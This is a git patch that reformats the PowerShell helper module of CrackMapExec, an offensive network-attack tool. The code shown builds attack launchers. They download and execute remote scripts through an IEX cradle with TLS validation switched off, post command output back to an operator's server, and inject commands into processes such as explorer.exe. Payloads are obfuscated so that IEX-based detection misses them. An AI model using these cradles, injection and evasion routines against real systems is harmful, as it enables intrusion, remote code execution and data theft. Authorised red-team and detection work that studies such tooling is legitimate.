From c19f6d2379ef2f91383e1b0c220bf5300a0cd4b1 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Wed, 5 Apr 2023 19:37:58 -0400 Subject: [PATCH] update formatting and syntax --- cme/helpers/powershell.py | 275 ++++++++++++++++++++++---------------- 1 file changed, 158 insertions(+), 117 deletions(-) diff --git a/cme/helpers/powershell.py b/cme/helpers/powershell.py index a85e7051..d1aa17df 100644 --- a/cme/helpers/powershell.py +++ b/cme/helpers/powershell.py @@ -1,7 +1,5 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- - -import cme import os import re from sys import exit @@ -10,13 +8,14 @@ from random import choice, sample from subprocess import call from cme.helpers.misc import which from cme.logger import cme_logger +from cme.paths import CME_PATH, DATA_PATH from base64 import b64encode obfuscate_ps_scripts = False def get_ps_script(path): - return os.path.join(os.path.dirname(cme.__file__), 'data', path) + return os.path.join(DATA_PATH, path) def encode_ps_command(command): @@ -24,14 +23,14 @@ def encode_ps_command(command): def is_powershell_installed(): - if which('powershell'): + if which('powershell'): return True return False def obfs_ps_script(path_to_script): ps_script = path_to_script.split('/')[-1] - obfs_script_dir = os.path.join(os.path.expanduser('~/.cme'), 'obfuscated_scripts') + obfs_script_dir = os.path.join(CME_PATH, 'obfuscated_scripts') obfs_ps_script = os.path.join(obfs_script_dir, ps_script) if is_powershell_installed() and obfuscate_ps_scripts: @@ -43,9 +42,11 @@ def obfs_ps_script(path_to_script): cme_logger.display('Performing one-time script obfuscation, go look at some memes cause this can take a bit...') - invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "TOKEN,ALL,1,OUT {}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'), - get_ps_script(path_to_script), - obfs_ps_script) + invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "TOKEN,ALL,1,OUT {}" -Quiet\''.format( + get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'), + get_ps_script(path_to_script), + obfs_ps_script + ) cme_logger.debug(invoke_obfs_command) with open(os.devnull, 'w') as devnull: @@ -62,13 +63,12 @@ def obfs_ps_script(path_to_script): Strip block comments, line comments, empty lines, verbose statements, and debug statements from a PowerShell source file. """ - # strip block comments - strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '', script.read()) + stripped_code = re.sub(re.compile("<#.*?#>", re.DOTALL), "", script.read()) # strip blank lines, lines starting with #, and verbose/debug statements - strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")) )]) + stripped_code = "\n".join([line for line in stripped_code.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))]) - return strippedCode + return stripped_code def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi=None): @@ -110,9 +110,10 @@ else cme_logger.debug('Generated PS command:\n {}\n'.format(command)) - # We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed concurrently - # it would spawn a local powershell process per host which isn't ideal, until I figure out a good way of dealing with this - # it will use the partial python implementation that I stole from GreatSCT (https://github.com/GreatSCT/GreatSCT) <3 + # We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed + # concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way + # of dealing with this it will use the partial python implementation that I stole from GreatSCT + # (https://github.com/GreatSCT/GreatSCT) <3 """ if is_powershell_installed(): @@ -146,27 +147,27 @@ else if not dont_obfs: obfs_attempts = 0 while True: - command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "' + invoke_obfuscation(command) + '"' - if len(command) <= 8191: + command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{invoke_obfuscation(command)}"' + if len(command) <= 8191: break if obfs_attempts == 4: - cme_logger.error('Command exceeds maximum length of 8191 chars (was {}). exiting.'.format(len(command))) + cme_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.") exit(1) obfs_attempts += 1 else: - command = 'powershell.exe -noni -nop -w 1 -enc {}'.format(encode_ps_command(command)) + command = f"powershell.exe -noni -nop -w 1 -enc {encode_ps_command(command)}" if len(command) > 8191: - cme_logger.error('Command exceeds maximum length of 8191 chars (was {}). exiting.'.format(len(command))) + cme_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.") exit(1) return command def gen_ps_inject(command, context=None, procname='explorer.exe', inject_once=False): - #The following code gives us some control over where and how Invoke-PSInject does its thang - #It prioritizes injecting into a process of the active console session + # The following code gives us some control over where and how Invoke-PSInject does its thang + # It prioritizes injecting into a process of the active console session ps_code = ''' $injected = $False $inject_once = {inject_once} @@ -194,8 +195,11 @@ if (($injected -eq $False) -or ($inject_once -eq $False)){{ catch {{}} }} }} -'''.format(inject_once='$True' if inject_once else '$False', - command=encode_ps_command(command), procname=procname) +'''.format( + inject_once='$True' if inject_once else '$False', + command=encode_ps_command(command), + procname=procname + ) if context: return gen_ps_iex_cradle(context, 'Invoke-PSInject.ps1', ps_code, post_back=False) @@ -204,28 +208,29 @@ if (($injected -eq $False) -or ($inject_once -eq $False)){{ def gen_ps_iex_cradle(context, scripts, command=str(), post_back=True): - if type(scripts) is str: - launcher = """ [Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}} [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12' IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{ps_script_name}') {command} -""".format(server=context.server, - port=context.server_port, - addr=context.localip, - ps_script_name=scripts, - command=command if post_back is False else '').strip() +""".format( + server=context.server, + port=context.server_port, + addr=context.localip, + ps_script_name=scripts, + command=command if post_back is False else '' + ).strip() elif type(scripts) is list: launcher = '[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n' - launcher +="[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'" + launcher += "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'" for script in scripts: - launcher += "IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{script}')\n".format(server=context.server, - port=context.server_port, - addr=context.localip, - script=script) + launcher += "IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{script}')\n".format( + server=context.server, + port=context.server_port, + addr=context.localip, + script=script) launcher.strip() launcher += command if post_back is False else '' @@ -240,138 +245,174 @@ $request.ContentLength = $bytes.Length $requestStream = $request.GetRequestStream() $requestStream.Write($bytes, 0, $bytes.Length) $requestStream.Close() -$request.GetResponse()'''.format(server=context.server, - port=context.server_port, - addr=context.localip, - command=command) - #second_cmd= second_cmd if second_cmd else '') +$request.GetResponse()'''.format( + server=context.server, + port=context.server_port, + addr=context.localip, + command=command + ) - cme_logger.debug('Generated PS IEX Launcher:\n {}\n'.format(launcher)) + cme_logger.debug(f"Generated PS IEX Launcher:\n {launcher}\n") return launcher.strip() # Following was stolen from https://raw.githubusercontent.com/GreatSCT/GreatSCT/templates/invokeObfuscation.py -def invoke_obfuscation(scriptString): - +def invoke_obfuscation(script_string): # Add letters a-z with random case to $RandomDelimiters. alphabet = ''.join(choice([i.upper(), i]) for i in ascii_lowercase) - # Create list of random dxelimiters called randomDelimiters. + # Create list of random delimiters called random_delimiters. # Avoid using . * ' " [ ] ( ) etc. as delimiters as these will cause problems in the -Split command syntax. - randomDelimiters = ['_','-',',','{','}','~','!','@','%','&','<','>',';',':'] + random_delimiters = ['_', '-', ',', '{', '}', '~', '!', '@', '%', '&', '<', '>', ';', ':'] for i in alphabet: - randomDelimiters.append(i) + random_delimiters.append(i) # Only use a subset of current delimiters to randomize what you see in every iteration of this script's output. - randomDelimiters = [choice(randomDelimiters) for _ in range(int(len(randomDelimiters)/4))] + random_delimiters = [choice(random_delimiters) for _ in range(int(len(random_delimiters) / 4))] # Convert $ScriptString to delimited ASCII values in [Char] array separated by random delimiter from defined list $RandomDelimiters. - delimitedEncodedArray = '' - for char in scriptString: - delimitedEncodedArray += str(ord(char)) + choice(randomDelimiters) + delimited_encoded_array = '' + for char in script_string: + delimited_encoded_array += str(ord(char)) + choice(random_delimiters) # Remove trailing delimiter from $DelimitedEncodedArray. - delimitedEncodedArray = delimitedEncodedArray[:-1] + delimited_encoded_array = delimited_encoded_array[:-1] # Create printable version of $RandomDelimiters in random order to be used by final command. - test = sample(randomDelimiters, len(randomDelimiters)) - randomDelimitersToPrint = ''.join(i for i in test) + test = sample(random_delimiters, len(random_delimiters)) + random_delimiters_to_print = ''.join(i for i in test) # Generate random case versions for necessary operations. - forEachObject = choice(['ForEach','ForEach-Object','%']) - strJoin = ''.join(choice([i.upper(), i.lower()]) for i in '[String]::Join') - strStr = ''.join(choice([i.upper(), i.lower()]) for i in '[String]') + for_each_object = choice(['ForEach', 'ForEach-Object', '%']) + str_join = ''.join(choice([i.upper(), i.lower()]) for i in '[String]::Join') + str_str = ''.join(choice([i.upper(), i.lower()]) for i in '[String]') join = ''.join(choice([i.upper(), i.lower()]) for i in '-Join') - charStr = ''.join(choice([i.upper(), i.lower()]) for i in 'Char') + char_str = ''.join(choice([i.upper(), i.lower()]) for i in 'Char') integer = ''.join(choice([i.upper(), i.lower()]) for i in 'Int') - forEachObject = ''.join(choice([i.upper(), i.lower()]) for i in forEachObject) + for_each_object = ''.join(choice([i.upper(), i.lower()]) for i in for_each_object) - # Create printable version of $RandomDelimiters in random order to be used by final command specifically for -Split syntax. - randomDelimitersToPrintForDashSplit = '' + # Create printable version of $RandomDelimiters in random order to be used by final command specifically for -Split syntax + random_delimiters_to_print_for_dash_split = '' - for delim in randomDelimiters: + for delim in random_delimiters: # Random case 'split' string. split = ''.join(choice([i.upper(), i.lower()]) for i in 'Split') + random_delimiters_to_print_for_dash_split += '-' + split + choice(['', ' ']) + '\'' + delim + '\'' + choice( + ['', ' ']) - randomDelimitersToPrintForDashSplit += '-' + split + choice(['', ' ']) + '\'' + delim + '\'' + choice(['', ' ']) - - randomDelimitersToPrintForDashSplit = randomDelimitersToPrintForDashSplit.strip('\t\n\r') + random_delimiters_to_print_for_dash_split = random_delimiters_to_print_for_dash_split.strip('\t\n\r') # Randomly select between various conversion syntax options. - randomConversionSyntax = [] - randomConversionSyntax.append('[' + charStr + ']' + choice(['', ' ']) + '[' + integer + ']' + choice(['', ' ']) + '$_') - randomConversionSyntax.append('[' + integer + ']' + choice(['', ' ']) + '$_' + choice(['', ' ']) + choice(['-as', '-As', '-aS', '-AS']) + choice(['', ' ']) + '[' + charStr + ']') - randomConversionSyntax = choice(randomConversionSyntax) + random_conversion_syntax = [ + '[' + char_str + ']' + choice(['', ' ']) + '[' + integer + ']' + choice(['', ' ']) + '$_', + '[' + integer + ']' + choice(['', ' ']) + '$_' + choice(['', ' ']) + choice( + ['-as', '-As', '-aS', '-AS']) + choice(['', ' ']) + '[' + char_str + ']' + ] + random_conversion_syntax = choice(random_conversion_syntax) # Create array syntax for encoded scriptString as alternative to .Split/-Split syntax. - encodedArray = '' - for char in scriptString: - encodedArray += str(ord(char)) + choice(['', ' ']) + ',' + choice(['', ' ']) + encoded_array = '' + for char in script_string: + encoded_array += str(ord(char)) + choice(['', ' ']) + ',' + choice(['', ' ']) - # Remove trailing comma from encodedArray - encodedArray = '(' + choice(['', ' ']) + encodedArray.rstrip().rstrip(',') + ')' + # Remove trailing comma from encoded_array + encoded_array = '(' + choice(['', ' ']) + encoded_array.rstrip().rstrip(',') + ')' # Generate random syntax to create/set OFS variable ($OFS is the Output Field Separator automatic variable). # Using Set-Item and Set-Variable/SV/SET syntax. Not using New-Item in case OFS variable already exists. - # If the OFS variable did exists then we could use even more syntax: $varname, Set-Variable/SV, Set-Item/SET, Get-Variable/GV/Variable, Get-ChildItem/GCI/ChildItem/Dir/Ls - # For more info: https://msdn.microsoft.com/en-us/powershell/reference/5.1/microsoft.powershell.core/about/about_automatic_variables - setOfsVarSyntax = [] - setOfsVarSyntax.append('Set-Item' + choice([' '*1, ' '*2]) + "'Variable:OFS'" + choice([' '*1, ' '*2]) + "''") - setOfsVarSyntax.append(choice(['Set-Variable', 'SV', 'SET']) + choice([' '*1, ' '*2]) + "'OFS'" + choice([' '*1, ' '*2]) + "''") - setOfsVar = choice(setOfsVarSyntax) + # If the OFS variable did exist then we could use even more syntax: + # $varname, Set-Variable/SV, Set-Item/SET, Get-Variable/GV/Variable, Get-ChildItem/GCI/ChildItem/Dir/Ls + # For more info: + # https://msdn.microsoft.com/en-us/powershell/reference/5.1/microsoft.powershell.core/about/about_automatic_variables - setOfsVarBackSyntax = [] - setOfsVarBackSyntax.append('Set-Item' + choice([' '*1, ' '*2]) + "'Variable:OFS'" + choice([' '*1, ' '*2]) + "' '") - setOfsVarBackSyntax.append('Set-Item' + choice([' '*1, ' '*2]) + "'Variable:OFS'" + choice([' '*1, ' '*2]) + "' '") - setOfsVarBack = choice(setOfsVarBackSyntax) + set_ofs_var_syntax = [ + 'Set-Item' + choice([' ' * 1, ' ' * 2]) + "'Variable:OFS'" + choice([' ' * 1, ' ' * 2]) + "''", + choice(['Set-Variable', 'SV', 'SET']) + choice([' ' * 1, ' ' * 2]) + "'OFS'" + choice( + [' ' * 1, ' ' * 2]) + "''" + ] + set_ofs_var = choice(set_ofs_var_syntax) + + set_ofs_var_back_syntax = [ + 'Set-Item' + choice([' ' * 1, ' ' * 2]) + "'Variable:OFS'" + choice([' ' * 1, ' ' * 2]) + "' '", + 'Set-Item' + choice([' ' * 1, ' ' * 2]) + "'Variable:OFS'" + choice([' ' * 1, ' ' * 2]) + "' '" + ] + set_ofs_var_back = choice(set_ofs_var_back_syntax) # Randomize case of $SetOfsVar and $SetOfsVarBack. - setOfsVar = ''.join(choice([i.upper(), i.lower()]) for i in setOfsVar) - setOfsVarBack = ''.join(choice([i.upper(), i.lower()]) for i in setOfsVarBack) + set_ofs_var = ''.join(choice([i.upper(), i.lower()]) for i in set_ofs_var) + set_ofs_var_back = ''.join(choice([i.upper(), i.lower()]) for i in set_ofs_var_back) # Generate the code that will decrypt and execute the payload and randomly select one. - baseScriptArray = [] - baseScriptArray.append('[' + charStr + '[]' + ']' + choice(['', ' ']) + encodedArray) - baseScriptArray.append('(' + choice(['', ' ']) + "'" + delimitedEncodedArray + "'." + split + "(" + choice(['', ' ']) + "'" + randomDelimitersToPrint + "'" + choice(['', ' ']) + ')' + choice(['', ' ']) + '|' + choice(['', ' ']) + forEachObject + choice(['', ' ']) + '{' + choice(['', ' ']) + '(' + choice(['', ' ']) + randomConversionSyntax + ')' + choice(['', ' ']) + '}' + choice(['', ' ']) + ')') - baseScriptArray.append('(' + choice(['', ' ']) + "'" + delimitedEncodedArray + "'" + choice(['', ' ']) + randomDelimitersToPrintForDashSplit + choice(['', ' ']) + '|' + choice(['', ' ']) + forEachObject + choice(['', ' ']) + '{' + choice(['', ' ']) + '(' + choice(['', ' ']) + randomConversionSyntax + ')' + choice(['', ' ']) + '}' + choice(['', ' ']) + ')') - baseScriptArray.append('(' + choice(['', ' ']) + encodedArray + choice(['', ' ']) + '|' + choice(['', ' ']) + forEachObject + choice(['', ' ']) + '{' + choice(['', ' ']) + '(' + choice(['', ' ']) + randomConversionSyntax + ')' + choice(['', ' ']) + '}' + choice(['', ' ']) + ')') + baseScriptArray = [ + '[' + char_str + '[]' + ']' + choice(['', ' ']) + encoded_array, + '(' + choice(['', ' ']) + "'" + delimited_encoded_array + "'." + split + "(" + choice( + ['', ' ']) + "'" + random_delimiters_to_print + "'" + choice(['', ' ']) + ')' + choice( + ['', ' ']) + '|' + choice(['', ' ']) + for_each_object + choice(['', ' ']) + '{' + choice( + ['', ' ']) + '(' + choice(['', ' ']) + random_conversion_syntax + ')' + choice( + ['', ' ']) + '}' + choice(['', ' ']) + ')', + '(' + choice(['', ' ']) + "'" + delimited_encoded_array + "'" + choice( + ['', ' ']) + random_delimiters_to_print_for_dash_split + choice(['', ' ']) + '|' + choice( + ['', ' ']) + for_each_object + choice(['', ' ']) + '{' + choice(['', ' ']) + '(' + choice( + ['', ' ']) + random_conversion_syntax + ')' + choice(['', ' ']) + '}' + choice( + ['', ' ']) + ')', '(' + choice(['', ' ']) + encoded_array + choice(['', ' ']) + '|' + choice( + ['', ' ']) + for_each_object + choice(['', ' ']) + '{' + choice(['', ' ']) + '(' + choice( + ['', ' ']) + random_conversion_syntax + ')' + choice(['', ' ']) + '}' + choice(['', ' ']) + ')' + ] # Generate random JOIN syntax for all above options - newScriptArray = [] - newScriptArray.append(choice(baseScriptArray) + choice(['', ' ']) + join + choice(['', ' ']) + "''") - newScriptArray.append(join + choice(['', ' ']) + choice(baseScriptArray)) - newScriptArray.append(strJoin + '(' + choice(['', ' ']) + "''" + choice(['', ' ']) + ',' + choice(['', ' ']) + choice(baseScriptArray) + choice(['', ' ']) + ')') - newScriptArray.append('"' + choice(['', ' ']) + '$(' + choice(['', ' ']) + setOfsVar + choice(['', ' ']) + ')' + choice(['', ' ']) + '"' + choice(['', ' ']) + '+' + choice(['', ' ']) + strStr + choice(baseScriptArray) + choice(['', ' ']) + '+' + '"' + choice(['', ' ']) + '$(' + choice(['', ' ']) + setOfsVarBack + choice(['', ' ']) + ')' + choice(['', ' ']) + '"') + new_script_array = [ + choice(baseScriptArray) + choice(['', ' ']) + join + choice(['', ' ']) + "''", + join + choice(['', ' ']) + choice(baseScriptArray), + str_join + '(' + choice(['', ' ']) + "''" + choice(['', ' ']) + ',' + choice( + ['', ' ']) + choice( + baseScriptArray) + choice(['', ' ']) + ')', + '"' + choice(['', ' ']) + '$(' + choice(['', ' ']) + set_ofs_var + choice( + ['', ' ']) + ')' + choice( + ['', ' ']) + '"' + choice(['', ' ']) + '+' + choice(['', ' ']) + str_str + choice( + baseScriptArray) + choice( + ['', ' ']) + '+' + '"' + choice(['', ' ']) + '$(' + choice( + ['', ' ']) + set_ofs_var_back + choice( + ['', ' ']) + ')' + choice(['', ' ']) + '"' + ] # Randomly select one of the above commands. - newScript = choice(newScriptArray) + newScript = choice(new_script_array) + + # Generate random invoke operation syntax + # Below code block is a copy from Out-ObfuscatedStringCommand.ps1 + # It is copied into this encoding function so that this will remain a standalone script without dependencies + invoke_expression_syntax = [choice(['IEX', 'Invoke-Expression'])] - # Generate random invoke operation syntax. - # Below code block is a copy from Out-ObfuscatedStringCommand.ps1. It is copied into this encoding function so that this will remain a standalone script without dependencies. - invokeExpressionSyntax = [] - invokeExpressionSyntax.append(choice(['IEX', 'Invoke-Expression'])) # Added below slightly-randomized obfuscated ways to form the string 'iex' and then invoke it with . or &. - # Though far from fully built out, these are included to highlight how IEX/Invoke-Expression is a great indicator but not a silver bullet. - # These methods draw on common environment variable values and PowerShell Automatic Variable values/methods/members/properties/etc. - invocationOperator = choice(['.','&']) + choice(['', ' ']) - invokeExpressionSyntax.append(invocationOperator + "( $ShellId[1]+$ShellId[13]+'x')") - invokeExpressionSyntax.append(invocationOperator + "( $PSHome[" + choice(['4', '21']) + "]+$PSHOME[" + choice(['30', '34']) + "]+'x')") - invokeExpressionSyntax.append(invocationOperator + "( $env:Public[13]+$env:Public[5]+'x')") - invokeExpressionSyntax.append(invocationOperator + "( $env:ComSpec[4," + choice(['15', '24', '26']) + ",25]-Join'')") - invokeExpressionSyntax.append(invocationOperator + "((" + choice(['Get-Variable','GV','Variable']) + " '*mdr*').Name[3,11,2]-Join'')") - invokeExpressionSyntax.append(invocationOperator + "( " + choice(['$VerbosePreference.ToString()','([String]$VerbosePreference)']) + "[1,3]+'x'-Join'')") + # Though far from fully built out, these are included to highlight how IEX/Invoke-Expression is a great indicator, + # but not a silver bullet + # These methods draw on common environment variable values and PowerShell Automatic Variable + # values/methods/members/properties/etc. + invocationOperator = choice(['.', '&']) + choice(['', ' ']) + invoke_expression_syntax.append(invocationOperator + "( $ShellId[1]+$ShellId[13]+'x')") + invoke_expression_syntax.append( + invocationOperator + "( $PSHome[" + choice(['4', '21']) + "]+$PSHOME[" + choice(['30', '34']) + "]+'x')") + invoke_expression_syntax.append(invocationOperator + "( $env:Public[13]+$env:Public[5]+'x')") + invoke_expression_syntax.append( + invocationOperator + "( $env:ComSpec[4," + choice(['15', '24', '26']) + ",25]-Join'')") + invoke_expression_syntax.append( + invocationOperator + "((" + choice(['Get-Variable', 'GV', 'Variable']) + " '*mdr*').Name[3,11,2]-Join'')") + invoke_expression_syntax.append(invocationOperator + "( " + choice( + ['$VerbosePreference.ToString()', '([String]$VerbosePreference)']) + "[1,3]+'x'-Join'')") # Randomly choose from above invoke operation syntaxes. - invokeExpression = choice(invokeExpressionSyntax) + invokeExpression = choice(invoke_expression_syntax) - # Randomize the case of selected invoke operation. + # Randomize the case of selected invoke operation. invokeExpression = ''.join(choice([i.upper(), i.lower()]) for i in invokeExpression) # Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX) - invokeOptions = [] - invokeOptions.append(choice(['', ' ']) + invokeExpression + choice(['', ' ']) + '(' + choice(['', ' ']) + newScript + choice(['', ' ']) + ')' + choice(['', ' '])) - invokeOptions.append(choice(['', ' ']) + newScript + choice(['', ' ']) + '|' + choice(['', ' ']) + invokeExpression) + invokeOptions = [ + choice(['', ' ']) + invokeExpression + choice(['', ' ']) + '(' + choice(['', ' ']) + newScript + choice( + ['', ' ']) + ')' + choice(['', ' ']), + choice(['', ' ']) + newScript + choice(['', ' ']) + '|' + choice(['', ' ']) + invokeExpression + ] - obfuscatedPayload = choice(invokeOptions) + obfuscated_payload = choice(invokeOptions) """ # Array to store all selected PowerShell execution flags. @@ -401,4 +442,4 @@ def invoke_obfuscation(scriptString): obfuscatedPayload = 'powershell.exe ' + commandlineOptions + newScript """ - return obfuscatedPayload + return obfuscated_payload